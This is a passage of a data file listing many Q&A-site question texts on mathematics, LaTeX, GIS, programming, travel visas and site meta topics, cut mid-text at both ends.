$$\\bigg(\\frac{1}{2\\theta}\\bigg)^n\\prod_{i=1}^n \\mathbb I_{[-\\infty,\\theta]}(|x_i|)\\prod_{i=1}^n \\mathbb I_{[0, +\\infty]}(|x_i|)$$ $$=$$ $$\\boxed{\\bigg(\\frac{1}{2\\theta}\\bigg)^n\\prod_{i=1}^n \\mathbb I_{[-\\infty,\\theta]}(\\max|x_i|)}$$ Question : How does one derive the final expression in the box from the previous one ? I can't seem to comprehend how this is equal to the step before. Other than that, to find the maximum likelihood estimator you need a $\\theta$ sufficiently small but also $\\max |x_i| \\leq \\theta$ which means that the MLE is : $\\hat{\\theta} = \\max |x_i|$.", "Show that $a^2 \\bmod b = (a \\bmod b)^2 \\bmod b$ Show that $$a^2 \\mathrm{\\ mod \\ } b = (a \\mathrm{\\ mod \\ } b)^2 \\mathrm{\\ mod\\ } b$$ for $ a, b \\in \\mathbb{Z}^+ $. this was derived from an Informatics olympiad question.", "I have a problem. I have several large equations within the text. And when LaTeX does not manage to put the equation on the same page and moves it to the next one, he spreads the paragraphs of the text in the first page. How could I prevent this? I know about \\pagebreak and \\newpage, but I do not want to force the \\newpage, as the text may move (if I add something later or so on) and the pagebreaks may not be valid. I would like to make LaTeX not to spread the paragraphs over a page automatically. Is it possible? I tried to make an example: \\documentclass[a4paper,12pt,twoside]{book} \\usepackage{amsmath} \\begin{document} LaLaLa\\\\\\ LaLaLa\\\\\\ LaLaLa\\\\\\ LaLaLa\\\\\\ \\begin{eqnarray} 123&+&123 \\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ \\end{eqnarray} LaLaLa\\\\\\ LaLaLa\\\\\\ \\begin{eqnarray} 123&+&123 \\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ 123&+&123 \\nonumber\\\\\\ \\end{eqnarray} \\end{document}", "I work with QGIS 2.10.1 on Windows 7 (x64). I have dissolved polygons from an attribute value and the polygons geometries being not perfectly joined together, I get some 'garbage' nodes I need to delete. I have tried to edit the layer and using nodes tool, selecting and deleting the nodes, but it seems impossible to do (nodes are not deleted at all!). Any idea on how to process this kind of clean-up? EDIT : you can for testing.", "It's possible to do a array of Matrix in Matlab?", "find $\\left( \\frac{x}{x+y} \\right)^{2007} + \\left( \\frac{y}{x+y} \\right)^{2007}$", "Proof that the set of irrational numbers is dense in reals", "Power Supply Capacity Formula Given that I am building a home computer from scratch and I have several components (MB, CPU, HDD, Video, Sound, etc) which have specific power requirements, is there a formula for me to calculate the size/capacity of the Power Supply I will need? I want to be able to expand the setup later on also...", "As small as it may be, does every 'thing' have a gravitational pull? That is, something with mass or energy. No matter how obsolete or negligible it may be, is it there? If so, how is it calculated? What does 'it' affect?", "Is there a word for someone who has others do all their work for them? In a way like a slave master. More though like say someone who had robots do all their work and they were never themselves productive and had no drive. If you've read R.U.R. you'll understand the question better. I'm looking for a word with more definition than just lazy. Update 1: It think I may actually go with drone if anything. I think that definition fits what I'm looking for the best. I also liked the definition of the British term layabout that one person mentioned, but I will probably use drone. Thanks for all the help and sorry if I was confusing or unclear. Update 2: I needed this word for use in an essay I was writing which I have now handed in. Thanks for the help guys. No more suggestions needed.", "What would be the the mathematical equivalent of this excel formula? =PMT() I need to create a JavaScript form that does the same calculation as this =PMT() function. mortgage = 220000 rate= 4.75% term = 30 The example formula I have is =PMT(4.75%/12,30*12,220000*-1) What would be the equation for this function? I tried to look up this function but it doesn't explain it very well.", "This is a follow up question to my previous question Let $k$ be a field and $V \\subseteq \\Bbb{A}^n$ and $W \\subseteq \\Bbb{A}^m$ be algebraic sets. Then it should be true that $I(V \\times W ) = I(V) + I(W)$ where by $I(V)$ here we mean the extension of $I(V)k[x_1,\\ldots,x_{m+n}]$. Now I believe I have proven this (see the proof at the bottom of my question) but when I look at Martin's answer , it is instead claimed that we actually have $$I(V \\times W )= \\sqrt{I(V) + I(W)},$$ and for $I(V) + I(W)$ to be a radical ideal we need $k$ to be algebraically closed. My question is: What's going on here? I believe my claim is true even without the assumption that $k$ is algebraically closed. Here's a proof user Sanchez told me of, which I have simplified: First it is clear that we always have $I(V) + I(W) \\subseteq I(V \\times W)$. For the reverse inclusion consider a polynomial $f \\in I(V \\times W)$. Then we can always write $$f = \\sum_{i=1}^n f_ig_i$$ where $f_i \\in k[x_1,\\ldots,x_n]$ and $g_i \\in k[x_{n+1},\\ldots,x_{m+n}]$. Now take any $b' \\in W$. If for all $i$ we have $g_i(b') = 0$ then since $b'$ is arbitrary, $g_i \\in I(W)$ for all $i$. Then $f \\in I(W) \\subseteq I(V ) + I(w)$ and we are done. Otherwise suppose there exists $b \\in W$ and $i$ such that $g_i(b) \\neq 0$. Then wlog we may suppose that $g_1(b) \\neq 0$. Next, $\\sum f_ig_i(b) = 0 $ on all of $V$ by assumption of $f \\in I(V \\times W)$. So $\\sum f_i g_i(b) = p$ for some $p \\in I(V)$. Now write $$f_1 = \\frac{ p - g_2(b) f_2 + \\ldots g_n(b)f_n}{g_1(b)}.$$ Substituting this for $f_1$ in $\\sum f_ig_i$, followed by taking things mod $I(V)$ we get an expression with only $n-1$ terms $\\mod{I(V)}$. Continuing this process we will finally get an expression with $0$ terms $\\mod{I(V)}$ so that $f \\in I(V)$. This shows $I(V \\times W) \\subseteq I(V) + I(W)$ which completes the proof." ]

[ "See YouTube videos in Anaglyph mode How to see a YouTube video in from a non-3D Android device? I am not able to enable Anaglyph mode from the YouTube application.", "In Europe usually you don't need to go through immigration to change planes (unless you are entering/exiting Schengen). Is it the case in the US as well? May I catch a connecting flight on one of the US airports if I don't have US visa?", "Editing question title creates whole new question and other question list problems", "HashSet vs. List performance It's clear that a search performance of the generic HashSet<T> class is higher than of the generic List<T> class. Just compare the hash-based key with the linear approach in the List<T> class. However calculating a hash key may itself take some CPU cycles, so for a small amount of items the linear search can be a real alternative to the HashSet<T>. My question: where is the break-even? To simplify the scenario (and to be fair) let's assume that the List<T> class uses the element's Equals() method to identify an item.", "If $\\Sigma \\vdash \\varphi$ then $\\Sigma \\vdash \\forall x \\varphi$. Why when $(\\varphi \\implies \\forall x \\varphi)$ is not true? In the book of first order logic I'm reading they say that if $(\\varphi_1,...,\\varphi_n)$ is a proof from a set of formulae $\\Sigma$, then so is $(\\varphi_1,...,\\varphi_n,\\forall x \\varphi_j)$ for all $1\\leq j \\leq n$. They assume that as an axiom but it doesn't make sense to me. Why if $\\varphi$ is true then so is $\\forall x \\varphi$? For example if $\\varphi$ is $x=1$ that wouldn't mean that $\\forall x : x=1$ , or would it? Maybe what I don't understand is: why $(\\Sigma \\vdash \\varphi \\implies \\Sigma \\vdash \\forall x \\varphi)$ is true but $(\\varphi \\implies \\forall x \\varphi)$ is not true? The book is this:", "Is Tolkien prejudiced against the East? In Tolkien's The Lord of the Rings series, there are generally two groups of Men. The good ones are coming from the West (Dúnedain, Men of the West), and the bad ones, the Easterlings, mostly fight under Morgoth and Sauron. Why was this so?", "Appearing on the second page (under the section Digression: Size worries) of the following paper about the Yoneda Lemma: It says that $a$ $priori$ $[\\mathcal C^{op},Set](H_A,X))$ is a class. I don't understand why this is the case. My understanding is that $a$ $priori$ each member of $[\\mathcal C^{op},Set](H_A,X))$ is a class. So it seems to me that $[\\mathcal C^{op},Set](H_A,X))$ could be a collection of proper classes. I've looked at this , but it hasn't helped me much. Any help is appreciated -Thanks", "ARMA/GARCH estimation in sequence", "how many conditional sentence types are possible? I wonder how many conditional sentence types are possible. Basically, there are four main and two mixed types. By mixing tenses, it could be up to nine of them. Are the rest viable? I came across the following examples in Full Spate Pre-Profficiency Primer: After you have just sold alcohol to a young guy. If he is if under eighteen, you should not have sold him the alcohol. If he promised to bring the drinks, he will. If you will take a seat, the doctor will see you shortly. (Likely, the former will demonstrates politeness only.) I would be grateful if you would tell me a little about your friends. (The same politeness, but would instead.) If he will keep eating all those biscuits, he can not expect to stay as slim as he used to be. I would be grateful if someone could shed more light on the topic.", "Visa for European countries for US passport holder I'm a US passport holder. What documents do I need when I fly from the U.S. to Germany? Assume I'm going for a few weeks of vacation. Obviously I need my passport. What about a \"visa\"? Anything else?", "Randomly populating procedural shape (or Image Texture) in Cycles", "Convert date to another timezone in JavaScript", "Converting a string to a tuple in python", "Call C++ library in C# I have a lot of libraries written in C++. I want to call these libraries from C#, however, I have met many problems. I want to know if there is a book or guideline to tell me how to do that.", "Does this answer your question? Notice remains open even after submitting feedback", "Weird line in my mirrored mesh was following a tutorial where I stumbled into this weird line in my mirrored mesh (sorry for the feet lol) You can also download the blender file", "Use of 'const' for function parameters How far do you go with const? Do you just make functions const when necessary or do you go the whole hog and use it everywhere? For example, imagine a simple mutator that takes a single boolean parameter: void SetValue(const bool b) { my_val_ = b; } Is that const actually useful? Personally I opt to use it extensively, including parameters, but in this case I wonder if it's worthwhile? I was also surprised to learn that you can omit const from parameters in a function declaration but can include it in the function definition, e.g.: .h file void func(int n, long l); .cpp file void func(const int n, const long l) Is there a reason for this? It seems a little unusual to me.", "Optimizing logical sector size for physical sector size 4096 HDD With many new hard drive disks the physical sector size is 4096. Would it be possible to make the system use a logical sector size of the same size, rather than the default logical sector size of 512? Will it speed up bulk reads and writes? Where can it be configured?", "SD Card showing weird file names and files are lost I just plugged my SD Card to my PC after a long videography day, and I suddenly got this problem: It is also not showing all the videos I took on my camera so what is the solution?", "Show that $R/I\\otimes_R R/J\\cong R/(I+J)$" ]

[ "Polling the keyboard (detect a keypress) in python How can I poll the keyboard from a console python app? Specifically, I would like to do something akin to this in the midst of a lot of other I/O activities (socket selects, serial port access, etc.): while 1: # doing amazing pythonic embedded stuff # ... # periodically do a non-blocking check to see if # we are being told to do something else x = keyboard.read(1000, timeout = 0) if len(x): # ok, some key got pressed # do something What is the correct pythonic way to do this on Windows? Also, portability to Linux wouldn't be bad, though it's not required.", "Name of mean absolute error analogue to Brier score? Yesterday's question got me curious about probability scoring. The $$\\frac{1}{N}\\sum\\limits _{i=1}^{N}(\\text{prediction}_i - \\text{reference}_i)^2$$ is a mean squared error measure. Does the analogous mean absolute error performance measure $$\\frac{1}{N}\\sum\\limits _{i=1}^{N}|\\text{prediction}_i - \\text{reference}_i|$$ have a name, too?", "Do you ever center AND standardize variables in multiple regression? It seems as if standardization would automatically center variables...is this true?", "After upgrading to 15.04, I have one additional driver (it did not appear in 14.10). What is the purpose of this driver and should I enable it?", "In my Master thesis, I used this: \\begin{itemize}[label=\\ding{167}] \\item Access Windows XM from Ubuntu Server \\item List the directories contents of Windows XP \\end{itemize} The output is: My question: must I avoid the use of such beautiful things when writing my thesis or is it a normal thing to do ?", "Why are light rays able to cross each other? See the image first: Why are light rays able to cross each other? Air isn't able to.", "I want to make a persistent live Ubuntu USB drive with more than 4GB of storage. I know there is an option of installing directly on the drive but I don't want to do this as it will restrict the drive from working on different computers. One option is to make an additional partition with extra space but if I do this how can I get newly installed software to be stored on this partition?", "Where's the summary of your own suggested edits?", "I'm using python in QGIS. I have a layer of polygons (its a result of some earlier dissolving and has no overlapping polygons but some holes and islands in holes etc). I want to build a new layer which contains one polygon representing a bbox of the first layer with each polygon cut from it. Essentially I want to \"invert\" the layer I have so that where the was polygon, now there is not, and where there was not polygon now there is. All inside a bounding box of the original layer. I can build a bbox easily and I tried to \"subtract\" the polygon layer from my new bbox polygon layer but the process slows to a stop and then crashes my PC. Here's the algorythm processing.runalg(\"qgis.difference\",\"path/to/polygon.shp\",\"path/to/bbox.shp\",\"path/to/result.shp\") I dont care about attributes (obviously). I just need to cut one set of polygons from one larger polygon. It seems so simple, I wish I could find a simple command or script to acheive this. As stated at the top I'm looking for a solution in python in QGIS.", "Why must $a$ and $b$ both be coprime when proving that the square root of two is irrational? Suppose we wish to prove that the square root of two is irrational. We begin by assuming that it is rational. Namely, where both $a$ and $b$ are integers $$\\frac{a}{b} = \\sqrt 2 % MathType!MTEF!2!1!+- % faaagCart1ev2aaaKnaaaaWenf2ys9wBH5garuavP1wzZbqedmvETj % 2BSbqefm0B1jxALjharqqtubsr4rNCHbGeaGqiVu0Je9sqqrpepC0x % bbL8FesqqrFfpeea0xe9Lq-Jc9vqaqpepm0xbba9pwe9Q8fs0-yqaq % pepae9pg0FirpepeKkFr0xfr-xfr-xb9Gqpi0dc9adbaqaaeGaciGa % aiaabeqaamaabaabaaGcbaWaaSaaaeaacaWGHbaabaGaamOyaaaacq % GH9aqpdaGcaaqaaiaaikdaaSqabaaaaa!31D3! $$ Why is it so important that both $a$ and $b$ be coprime and the fraction be irreducible? That is, if $a$ and $b$ are not coprime and the fraction is indeed reducible, then$$\\frac{a}{b} \\ne \\sqrt 2 % MathType!MTEF!2!1!+- % faaagCart1ev2aaaKnaaaaWenf2ys9wBH5garuavP1wzZbqedmvETj % 2BSbqefm0B1jxALjharqqtubsr4rNCHbGeaGqiVu0Je9sqqrpepC0x % bbL8FesqqrFfpeea0xe9Lq-Jc9vqaqpepm0xbba9pwe9Q8fs0-yqaq % pepae9pg0FirpepeKkFr0xfr-xfr-xb9Gqpi0dc9adbaqaaeGaciGa % aiaabeqaamaabaabaaGcbaWaaSaaaeaacaWGHbaabaGaamOyaaaacq % GHGjsUdaGcaaqaaiaaikdaaSqabaaaaa!3294! $$", "Intuitive explanation of the inverse square power $\\frac{1}{r^2}$ in Newton's law of gravity", "For $u:\\mathbb{R}\\times [0,1]$ with boundary conditions $u(0,x)=\\cos (2\\pi x)$ and $u(t,0)=u(t,1)$. Solve $u_t=u_{xx}+u_x$. I had this on an exam and tried to write $u$ as a product of two single variate functions and convert to an ode using the usual methods but things got messy and I couldn't finish. I also tried to write $u$ as a Fourier series in $x$ with coefficients $a_k(t)$ depending on $t$, but this also didn't seem to yield anything. Is there a more clever way to approach this, possibly with Fourier series? I heard from a friend there may be a Fourier transform method since the equation was \"homogeneous in momentum space.\" Thanks!", "Why does find -mtime +1 only return files older than 2 days?", "Today I started having the following issues in Pokémon GO: I can't spin pokéStops and get rewards When I catch pokémon, even the lowest CP ones, they escape every time. I've tried using razz berries, that doesn't work. Neither does using great balls. I do have Internet. I'm not on wifi. I can send messages and browse Internet. NOTE: I did try to modify my gps location and I was unsuccessful. I only got a pokémon or two and deleted them immediately. I do apologize for trying to hack it but I'm now fully legit.", "Intuition/Real-life Examples: Pairwise Independence vs (Mutual) Independence Would someone please advance/discuss some real-life situations falsities $1, 2$? I'd like to intuit why these are false. As a neophyte, since I still need to compute the probabilities for the examples in the two answers to apprehend them, I haven't naturalised these concepts yet. Thus, I beg leave to ask about other real-life examples which require less or no computations. I tried and would appreciate less numerical examples than and , and Examples 1.22 and 1.23 on P39 of Introduction to Pr by Bertsekas. $1.$ Pairwise Independence $\\require{cancel} \\cancel{\\implies}$ (Mutual) Independence. $2.$ Pairwise Independence $\\require{cancel} \\cancel{\\Longleftarrow}$ (Mutual) Independence. P38 defines (Mutual) Independence : For all $S \\subseteq \\{1, ..., n - 1, n\\} $ and events $A_i$, $Pr(\\cap_{i \\in S} A_i) = \\Pi_{i \\in S} A_i.$", "If you are not satisfied with answers on someone else's question, should you ask your own? Suppose you had a question, and you really want a good answer that would solve your problem, but noticed it was already asked by someone else. Now, a lot of answers had been posted and upvoted, and maybe one was accepted. However, none of the answers solved your problem. The system does not promote the question very much because it is not considered \"unanswered\", and a lot of users who would otherwise bother to give a correct answer will probably skip the question completely as there are already many highly-voted answers. Now, what should you do in this case? One idea is to ask a new, completely identical question, but now you're in control to decide when it is answered. But would that go against SE policy?", "How to copy metadata of Partial Sandbox into a new Developer sandbox? I Have only one license of Partial sandbox. I want to refresh it with Production. Before that I want to copy all the metadata present in the Partial sandbox into New/Existing Developer sandbox. How can do that? Is it supported by salesforce? or are there any tools available for this requirement. Thanks.", "How do I Uninstall Windows 10 or Windows 10 preview?", "$X$ and $Y$ are independent rv having pdf $f(t)=\\frac{1}{\\pi} \\frac{1}{1+t^2}$ determine pdf of $Z=\\frac{X+Y}{3}$", "How do I get the title of a .pdf document to appear as the page title?" ]

[ "Why is it better to use \"#!/usr/bin/env NAME\" instead of \"#!/path/to/NAME\" as my shebang?", "Is there a way to get the name of the currently executing method in Java?", "I'm trying to find a post I made on my timeline (aka wall) several months (or even years) ago, but can't find a way to search for it. I , but that's very heavy. Currently, I open the activity log (e.g., https://www.facebook.com/username/allactivity) and start scrolling down to get some info on the page. Then I use my browser to search for the text. But this is slow and, depending on how far back I want to go, tedious. Clicking on the earliest month/year in the filter only loads those periods specifically. Anyone know of a better way that will find the search words anywhere on your activity log quickly? Edit: There's a (not really a bug, but lack of a feature) related to this on Facebook's developers forum.", "Simple form validation", "As part of graduating from Area51 and becoming a full fledged site we sometimes change domain names from http://topic.stackexchange.com to http://example.com. Aside from the obvious 301 redirect rules to support existing urls transparently, are there other techniques that would aid in the preservation of SEO?", "Best way to restrict access by IP address? For an ASP.NET C# application, we will need to restrict access based on IP address. What is the best way to accomplish this?", "Foreign key constraints failures Given the following tables: CREATE TABLE `longdescs` ( `comment_id` int(11) NOT NULL AUTO_INCREMENT, `bug_id` mediumint(9) NOT NULL, `who` mediumint(9) NOT NULL, `bug_when` datetime NOT NULL, `work_time` decimal(7,2) NOT NULL DEFAULT '0.00', `thetext` mediumtext NOT NULL, `isprivate` tinyint(4) NOT NULL DEFAULT '0', `already_wrapped` tinyint(4) NOT NULL DEFAULT '0', `type` smallint(6) NOT NULL DEFAULT '0', `extra_data` varchar(255) DEFAULT NULL, PRIMARY KEY (`comment_id`), KEY `longdescs_bug_id_idx` (`bug_id`), KEY `longdescs_who_idx` (`who`,`bug_id`), KEY `longdescs_bug_when_idx` (`bug_when`), KEY `comment_id` (`comment_id`), CONSTRAINT `fk_longdescs_bug_id_bugs_bug_id` FOREIGN KEY (`bug_id`) REFERENCES `bugs` (`bug_id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `fk_longdescs_who_profiles_userid` FOREIGN KEY (`who`) REFERENCES `profiles` (`userid`) ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=82727 DEFAULT CHARSET=utf8 CREATE TABLE `trace` ( `id` mediumint(9) NOT NULL AUTO_INCREMENT, `comment_id` mediumint(9) NOT NULL, `type` varchar(255) NOT NULL, `short_hash` char(22) DEFAULT NULL, `stack_hash` char(22) DEFAULT NULL, `trace_text` mediumtext NOT NULL, `quality` double NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `trace_comment_id_idx` (`comment_id`), KEY `trace_short_hash_idx` (`short_hash`), KEY `trace_stack_hash_idx` (`stack_hash`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 ALTER TABLE trace ADD CONSTRAINT `fk_trace_comment_id_longdescs_comment_id` FOREIGN KEY (`comment_id`) REFERENCES `longdescs`(`comment_id`) ON UPDATE CASCADE ON DELETE CASCADE; ERROR 1005 (HY000): Can't create table 'bugs4.#sql-4bb_6f1d' (errno: 150) MariaDB [bugs4]> show warnings; | Level | Code | Message | | Warning | 150 | Create table 'bugs4/#sql-4bb_6f1d' with foreign key constraint failed. There is no index in the referenced table where the referenced columns appear as the first columns. | | Error | 1005 | Can't create table 'bugs4.#sql-4bb_6f1d' (errno: 150) | Any idea why I get that error? FYI I looked it up and it appears that it was a bug but not anymore.", "Basically the question is how to get from this: foo_id foo_name 1 A 1 B 2 C to this: foo_id foo_name 1 A B 2 C", "I deleted an answer which had no upvotes or downvotes, but after some time I saw that my reputation was -2 and the reason is linked to my search engine. I want to know why this happened and what \"linked to my serach engine\" means?", "Roots in a polynomial ring", "How to read over 4k input without new lines on a terminal? So I have a lot of data WITHOUT NEW LINES on the clipboard (it's a large SVG file on one line). I went $ cat >file.svg then tried to paste (in Gnome Terminal), but only the first 4kB characters were accepted. I assume this is a readline feature/limitation. Is there a way to read from STDIN that would avoid this problem? EDIT Test case: Create a demo file. This one will have ~4k \"=\" symbols followed by \"foo bar\". { printf '=%.0s' {1..4095} ; echo \"foo bar\" ; } > test.in Copy that into your clipboard xclip test.in (if you want to middle-click to insert) or xclip -selection clipboard test.in (if you want to use Ctrl-Shift-Insert to past it in) Then cat >test.out, paste (whichever way). Press Ctrl-D to end the stream. cat test.out - do you see \"foo bar\"? On my set-up (Ubuntu 12.04, Gnome Terminal, zsh) when I paste I only see the = and I don't see foo bar. Same when I inspect test.out.", "How do I resolve slow and choppy performance in virtualbox? Ubuntu runs very slowly inside of VirtualBox. How do I run Ubuntu with unity or enabled transparency smoothly with VirtualBox?", "fastest way to detect if a value is in a group of values in Javascript I have a group of strings in Javascript and I need to write a function that detects if another specific string belongs to this group or not. What is the fastest way to achieve this? Is it alright to put the group of values into an array, and then write a function that searches through the array? I think if I keep the values sorted and do a binary search, it should work fast enough. Or is there some other smart way of doing this, which can work faster?", "How do I work with the Card Layout in the NetBeans GUI builder?", "Modified Hamilton's Principle overconstraining a system by imposing too many boundary conditions In Hamiltonian Mechanics, a version of Hamilton's principle is shown to evolve a system according to the same equations of motion as the Lagrangian, and therefore Newtonian formalism. In particular, letting $\\delta$ indicate a variation of the path through phase space, $$ \\delta \\int_{t_1}^{t_2} \\big(p_i \\dot{q}_i - H(p_i,q_i,t)\\big)dt = 0 $$ is shown to generate the same motion equations as those found by the Legendre transform of the Lagrangian equations of motion. Essentially, when we calculate the Euler-Lagrange equations for the above integrand, we find $$ \\dot{p}_i + \\frac{\\partial H}{\\partial q_i} = 0\\text{, } \\dot{q}_i - \\frac{\\partial H}{\\partial p_i} = 0. $$ Now, since these are both first-order equations of motion, we require $2n$ boundary conditions to obtain a solution, where $n$ is the number of particles. This is perfectly consistent with the Lagrangian formalism which had $2n$ boundary conditions due to its $n$ distinct second-order motion equations. An important thing to note is that since $p_i\\dot{q}_i - H(p_i,q_i,t)$ contains no $\\dot{p}_i$ dependence, the variation in $p_i(t)$ need not be zero at the endpoints of the path. This is not the case with $q_i(t)$ because the $\\dot{q}_i$ dependance results in the appearance of boundary terms that must be set to zero in order to obtain the motion equations. Now, as far as the boundary conditions are concerned, this makes sense. For the path to be uniquely specified given Newtonian mechanics, we require $2n$ boundary conditions. These can either be the usual Newtonian choice of initial positions and velocities/momenta, or they can be the initial and final positions. Both are perfectly acceptable mathematically speaking. If we were required, in the modified Hamilton's principle variation, to enforce that the variations in the momenta also be zero at the initial and final times, this would mean $2n$ additional boundary conditions, which would generally over constrain a Newtonian system. However, my confusion is this: when textbooks (Goldstein in particular) consider generating functions, they require that the integrand be invariant to the addition of a total time derivative of a function $F(q_i,p_i,t)$ of the phase space coordinates. However, adding such a function will in general add some $\\dot{p}_i$ dependence to the integrand, which will then add boundary terms to the equations of motion unless we require that the $p_i(t)$ variations be zero at the boundaries. This is fine as far as it goes. We can always define the variation however we like. The point is just that it spits out the right motion equations at the end of the day. But my confusion lies in how this doesn't generally over constrain the system. If we specify all the positions and momenta at both the initial and the final times, might not the required path to connect those points in phase space be non-Newtonian? Does this only matter if you're actually trying to use the stationary action principle to find the paths, rather than just using it to find the motion equations?", "I have to submit a manuscript to a journal, and I just realized that they want every single part of the paper to be in 12 pt font. This includes tables text, footnotes, acknowledgements etc. Is there a way to force all text to be the same size?", "How can I test if a RegEx matches a string exactly? var r = /a/; r.test(\"a\"); // returns true r.test(\"ba\"); // returns true testExact(r, \"ba\"); // should return false testExact(r, \"a\"); // should return true", "What is the concept of erasure in generics in Java? What is the concept of erasure in generics in Java?", "Find $\\lim_{n \\to \\infty} \\left[\\frac{(n+1)^{n + 1}}{n^n} - \\frac{n^{n}}{(n-1)^{n-1}} \\right]$ (a question asked at trivia) My friend's trivia league had this math question: $$\\lim_{n \\to \\infty} \\left[\\frac{(n+1)^{n + 1}}{n^n} - \\frac{n^{n}}{(n-1)^{n-1}} \\right]$$ After computing a few values, one could guess the answer is $e$ = 2.718...But how can we prove that is the limit? Someone offered up a hand-wavy proof like this: \\begin{align} \\lim_{n \\to \\infty} \\left[\\frac{(n+1)^{n + 1}}{n^n} - \\frac{n^{n}}{(n-1)^{n-1}} \\right] & = \\lim_{n \\to \\infty} \\left[\\frac{(n+1)(n+1)^{n}}{n^n} - \\frac{n \\cdot n^{n-1}}{(n-1)^{n-1}} \\right] \\\\ &= \\lim_{n \\to \\infty} \\left[(n+1)\\frac{(n+1)^{n}}{n^n} - n\\frac{n^{n-1}}{(n-1)^{n-1}} \\right] \\\\ &= \\lim_{n \\to \\infty} \\left[(n+1)\\left(1 + \\frac{1}{n} \\right)^n - n\\left(\\frac{n - 1 + 1}{n-1} \\right)^{{n-1}} \\right] \\\\ &= \\lim_{n \\to \\infty} \\left[(n+1)\\left(1 + \\frac{1}{n} \\right)^n - n\\left(1 + \\frac{1}{n-1} \\right)^{n-1} \\right] \\\\ &= \\lim_{n \\to \\infty} \\left[(n+1)e - n \\cdot e \\right] \\\\ &= \\lim_{n \\to \\infty} e \\\\ &= e \\end{align} The part about substituting $e$ is hand-wavy since technically this is an indeterminate form of $\\infty - \\infty$. And using $e$ as as upper bound did not lead me to an easy proof either. Is there a way to rigorously prove the limit? I tried a few approaches: (a) sandwiching the limit--I could prove $e$ was a lower bound, but I could not find a suitable upper bound converging to $e$, (b) using L'Hopital's rule with no luck, (c) using the mean value theorem--but that also got complicated. So this is a pretty tough problem to ask at trivia! Is there a way to prove this limit formally? Sources Trivia question: Thread on trivia: Hand-wavy proof: Idea for mean value theorem:", "I have a web page that includes a bunch of images. Sometimes the image isn't available, so a broken image is displayed in the client's browser. How do I use jQuery to get the set of images, filter it to broken images then replace the src? --I thought it would be easier to do this with jQuery, but it turned out much easier to just use a pure JavaScript solution, that is, the one provided by Prestaul." ]

[ "What are the rules for China's visa-free transit programs? Assuming one wants to travel through China, what are the rules for visa-free access? To be more specific: How does the 24-hour visa free transit work? How does the 72-hour version work? What does a person ineligible for either of these programs have to do to transit China? Do the programs apply to flights only or do they also work for transit on land? Would a visitor save much hassle by using visa free transit instead of just getting a visa? NB: this is intended as a canonical question on transiting China", "Why can't a class extend its own nested class in C#? For example: public class A : A.B { public class B { } } Which generates this error from the compiler: Circular base class dependency involving 'A' and 'A.B' I always figured a nested class behaved just like a regular class except with special rules concerning accessing the outer class's private members, but I guess there's some implicit inheritance occurring between the two classes?", "Find Nearby Accounts migration to Google Maps API v3", "Unbounded continuous function on non-compact metric space Suppose $(S,d)$ is a non-compact metric space. Is it possible to construct an unbounded continuous function from $S$ to $\\mathbb{R}$? If it is possible, please show the construction method :) Here's my attempt to solve this problem: Because $S$ is not compact, we can find a neighborhood assignment function $N(x)$ so that a finite cover is not possible. Then each time we can find an uncovered point from the union of neighborhoods before, and change the function by $f(x):=max\\{f(x),\\text{a function which equals to the indice of this point at that point and gradually vanishes at further points from the selected point}\\}$. However I'm concerned that while this function is unbounded, there may be some invalid points for this function (goes to infinity)... EDIT: As I found out there is a duplicate question, however the elementary solution is not presented in that question, so I still wish to know about this problem. :)", "I use a very custom style (not mine) and very frequently I get a heading on the bottom of a page and the next paragraph on the top of the next page. Sometimes this paragraph may be a list or similar. The same is true for listings and the listing description. Is there a general way how I can adjust the \"badness\" of these events? Or can I adjust when a section heading would be on the last, say, 3cm of a page it should go to the next page? Or can I say, if a *listing description\" is on the top 3cm of a page pull 5 more listing lines from the last page onto this page? The style I use does not use standard structure tags and environments. But lets call them section, subsection, listing and I will try to migrate them to my lingo.", "How do I select an object in the 3D viewport?", "How to correct for small p-value due to very large sample size I am running into a problem where an independent variable, which should have no predictive power on the dependent variable based on domain knowledge, comes out with very small p-value because the sample size is very large(~100,000). If I only use < 5000 data points, then the p-value becomes large enough to support the prior that the variable is insignificant. However, I don't think tweaking the sample size to get to the desired conclusion is a good practice. Is there any procedure to adjust for small p-value simply due to huge sample size?", "Are there any subtle differences between \"somebody\" and \"someone\", or can they be used completely interchangeably? Similarly, can you imagine a situation in which you would prefer \"anybody\" to \"anyone\" or vice versa?", "\"Please ask a new question\" encourages question repetition for duplicates I just had a case of a user who re-posted his question because his first question was closed as a duplicate. And, logically, I closed his re-post as a duplicate of his original, asking him to edit his original and explain why it's not a duplicate, so we can reopen it. This process has worked like that for years now, but suddenly I realized that with the new message, question repetition is even encouraged: This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question. Clearly, a new user who finds their questions closed will now be happy to just post their question again and again, until it's not a duplicate anymore, instead of just fixing their original post. We need to be more explicit about this, and show this message to the OP of the question: If those answers do not fully address your question, please edit your question and explain why it is not a duplicate. The original message should still be visible to other users and visitors, as they can't fix that question, of course.", "semi filled circle", "Can I enter other Schengen countries with EU residence permit but without passport? I have some travel plans to go from Netherlands to France by car. I possess Dutch residence permit, but I am non-EU citizen. The problem is that I might need to submit my passport to get visa to another country I plan to go to later. So I have: residence permit and photocopy of my passport. Is it legal to cross borders by car with this set of documents what are possible fines and other repercussions if police or other authorities ask for my documents in France or Belgium?", "Book recommendations for fluid dynamics self-study I have my bachelors degree in engineering science: computer science, option electrotechnic. I have a good understanding of basic mechanics and dynamics, calculus (differential equations). The books I'm now having a look at are: What book do you recommend for studying fluid dynamics on my own and why?", "How would you prove the following limit? $$\\lim_{(x,y) \\to (0,0)} \\frac{x^3y}{x^4+y^2} = 0$$ I think the best way is using the squeeze theorem but I can't find left expression. $$0 \\le \\frac{x^3y}{x^4 + y^2} \\le 